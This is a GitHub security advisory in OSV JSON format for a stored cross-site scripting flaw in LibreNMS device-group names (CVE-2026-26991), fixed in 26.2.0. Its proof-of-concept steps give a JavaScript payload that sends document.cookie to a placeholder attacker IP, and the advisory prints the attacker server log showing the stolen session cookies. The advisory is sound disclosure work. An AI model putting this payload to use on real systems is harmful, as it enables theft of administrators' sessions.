{"id":"GHSA-5pqf-54qp-32wx","summary":"LibreNMS /device-groups name Stored Cross-Site Scripting","details":"### Summary\n**/device-groups name Stored Cross-Site Scripting**\n- HTTP POST\n- Request-URI(s): \"/device-groups\"\n- Vulnerable parameter(s): \"name\"\n- Attacker must be authenticated with \"admin\" privileges.\n- When a user adds a device group, an HTTP POST request is sent to the Request-URI \"/device-groups\". The name of the newly created device group is stored in the value of the name parameter.\n- After the device group is created, the entry is displayed along with some relevant buttons like Rediscover Devices, Edit, and Delete.\n\n### Details\nThe vulnerability exists as the name of the device group is not sanitized of HTML/JavaScript-related characters\nor strings. When the delete button is rendered, the following template is used to render the page:\n\n_resources/views/device-group/index.blade.php:_\n```\n@section('title', __('Device Groups'))\n@section('content')\n\u003cdiv class=\"container-fluid\"\u003e\n\u003cx-panel id=\"manage-device-groups-panel\"\u003e\n// [...Truncated...]\n@foreach($device_groups as $device_group)\n// [...Truncated...]\n\n\u003cbutton type=\"button\" class=\"btn btn-danger btn-\nsm\" title=\"{{ __('delete Device Group') }}\" aria-label=\"{{ __('Delete') }}\"\nonclick=\"delete_dg(this, '{{$device_group-\u003ename }}', '{{ route('device-groups.destroy', $device_group-\u003eid)\n}}')\"\u003e // using the device's name in the Delete button functionality without\nsanitizing for XSS related characters/strings\n```\n\nAs the device's name is not sanitized of HTML/JavaScript-related characters or strings, this can result in stored\ncross-site scripting.\n\n### PoC\n- Login\n- Select Devices \u003e Manage Groups\n- Select New Device Group\n- Input 12345');var pt=new Image();pt.src='http://\u003cATTACKER_IP\u003e/cookie-\n- '.concat(document.cookie);document.body.appendChild(pt);delete_dg(this, '12345 into\n- the \"Name\" input box (change \u003cATTACKER_IP\u003e to be an the IP of an attacker controlled webserver)\n- Select \"access_points.accesspoint_id\" as the Conditional input\n- Input 1 into the Conditional value input box\n- Select Save\n- Select the Delete Icon for the newly created Device Group\n- Select OK\n- The JavaScript payload is not sanitized and an HTTP request will be sent to the attacker controlled\n- server, leaking the user's cookies.\n\n### Impact\nAttacker Controlled server's logs:\n```\n192.168.1.96 - - [10/Feb/2026:13:32:25 -0600] \"GET /cookie-\njqCookieJar_options=%7B%7D;%20SWIFT_cookieconsent=dismiss;%20CookieAuth=%5B%22emai\n\nl%40email.c.com%22%2C%22%242y%2410%24zI.%5C%2F5BHghPssddSOjH6.Eek%5C%2F0hQNm8DewYh\n\nLnQxXHlpw3abw4C74y%22%5D;%20XSRF-\nTOKEN=eyJpdiI6InkrSlpHNFZ3TjRXbXl5clQ2ZVBHOFE9PSIsInZhbHVlIjoiZTROUHRCcGhYRGU4dVJL\n\nZ2RUUTZ5VXlGZElMNjZoT0E2cGRNZzVDRmtVWTg5YTBGNzdpTU83YU1EZ3E3Tk1BTm5tNjYxTExUV1Z0Mj\nBLNUlqOVl4MlpGL21xdHh3MUJwYm1zT1RaQXJwR0w5YmVXTkdKQWNXUkNvL1J2SzVtcWMiLCJtYWMiOiI0\nZTc4YjVmMjhiYjc3YTA2MDI5NjJkOTgzMTJlYmVkNGVhOTg0ZjE4ZjRlMzY1NmFlMjNiNmUyNzhlN2QwOG\nI4IiwidGFnIjoiIn0%3D HTTP/1.1\" 404 492 \"http://192.168.1.121/\" \"Mozilla/5.0\n(Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko)\nChrome/144.0.0.0 Safari/537.36\"\n```","aliases":["CVE-2026-26991"],"modified":"2026-02-22T23:22:01.964694Z","published":"2026-02-18T22:07:19Z","database_specific":{"github_reviewed_at":"2026-02-18T22:07:19Z","nvd_published_at":"2026-02-20T03:15:59Z","cwe_ids":["CWE-79"],"severity":"MODERATE","github_reviewed":true},"references":[{"type":"WEB","url":"https://github.com/librenms/librenms/security/advisories/GHSA-5pqf-54qp-32wx"},{"type":"ADVISORY","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-26991"},{"type":"WEB","url":"https://github.com/librenms/librenms/pull/19041"},{"type":"WEB","url":"https://github.com/librenms/librenms/commit/64b31da444369213eb4559ec1c304ebfaa0ba12c"},{"type":"PACKAGE","url":"https://github.com/librenms/librenms"},{"type":"WEB","url":"https://github.com/librenms/librenms/releases/tag/26.2.0"}],"affected":[{"package":{"name":"librenms/librenms","ecosystem":"Packagist","purl":"pkg:composer/librenms/librenms"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"26.2.0"}]}],"versions":["1.19","1.20","1.20.1","1.21","1.22","1.22.01","1.23","1.24","1.25","1.26","1.27","1.28","1.29","1.30","1.30.01","1.31","1.31.01","1.31.02","1.31.03","1.32","1.32.01","1.33","1.33.01","1.34","1.35","1.36","1.36.01","1.37","1.38","1.39","1.40","1.41","1.42","1.42.01","1.43","1.44","1.45","1.46","1.47","1.48","1.48.1","1.49","1.50","1.50.1","1.51","1.52","1.53","1.53.1","1.54","1.55","1.56","1.57","1.58","1.58.1","1.59","1.60","1.61","1.62","1.62.1","1.62.2","1.63","1.64","1.64.1","1.65","1.65.1","1.66","1.67","1.68","1.69","1.70.0","1.70.1","21.1.0","21.10.0","21.10.1","21.10.2","21.11.0","21.12.0","21.12.1","21.2.0","21.3.0","21.4.0","21.5.0","21.5.1","21.6.0","21.7.0","21.8.0","21.9.0","21.9.1","22.1.0","22.10.0","22.11.0","22.12.0","22.2.0","22.2.1","22.2.2","22.3.0","22.4.0","22.4.1","22.5.0","22.6.0","22.7.0","22.8.0","22.9.0","23.1.0","23.1.1","23.10.0","23.11.0","23.2.0","23.4.0","23.4.1","23.5.0","23.6.0","23.7.0","23.8.0","23.8.1","23.8.2","23.9.0","23.9.1","24.1.0","24.10.0","24.10.1","24.11.0","24.12.0","24.2.0","24.3.0","24.4.0","24.4.1","24.5.0","24.6.0","24.7.0","24.8.0","24.8.1","24.9.0","24.9.1","25.1.0","25.10.0","25.11.0","25.12.0","25.2.0","25.3.0","25.4.0","25.5.0","25.6.0","25.7.0","25.8.0","25.9.0","25.9.1","26.1.0","26.1.1"],"database_specific":{"source":"https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2026/02/GHSA-5pqf-54qp-32wx/GHSA-5pqf-54qp-32wx.json"}}],"schema_version":"1.9.0","severity":[{"type":"CVSS_V4","score":"CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:P/VC:L/VI:L/VA:N/SC:L/SI:L/SA:N"}]}